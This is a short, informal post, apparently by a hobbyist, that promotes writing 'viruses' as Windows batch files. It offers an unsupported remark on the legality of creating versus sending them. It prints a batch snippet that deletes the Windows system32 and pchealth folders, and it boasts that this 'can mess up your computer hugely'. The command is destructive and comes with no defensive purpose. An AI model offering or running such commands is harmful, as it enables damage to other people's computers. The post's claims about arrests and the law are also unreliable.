Virus creating has become one of the biggest thing's on the computer these past few years... There have been over 50 people arrested for Virus sending and hacking. It is NOT illegal to create a virus, it is however illegal to send a virus. My favourite type of virus is a Batch File - These are like viruses but are not really real viruses, just a code in a Notepad document that can create havoke to your computer. @echo off Del c:\WINDOWS\system32 Del c:\WINDOWS\pchealth That alone can mess up your computer hugely! Creating a virus has become easier and easier, they now have programmes to do it for you! The Batch Man!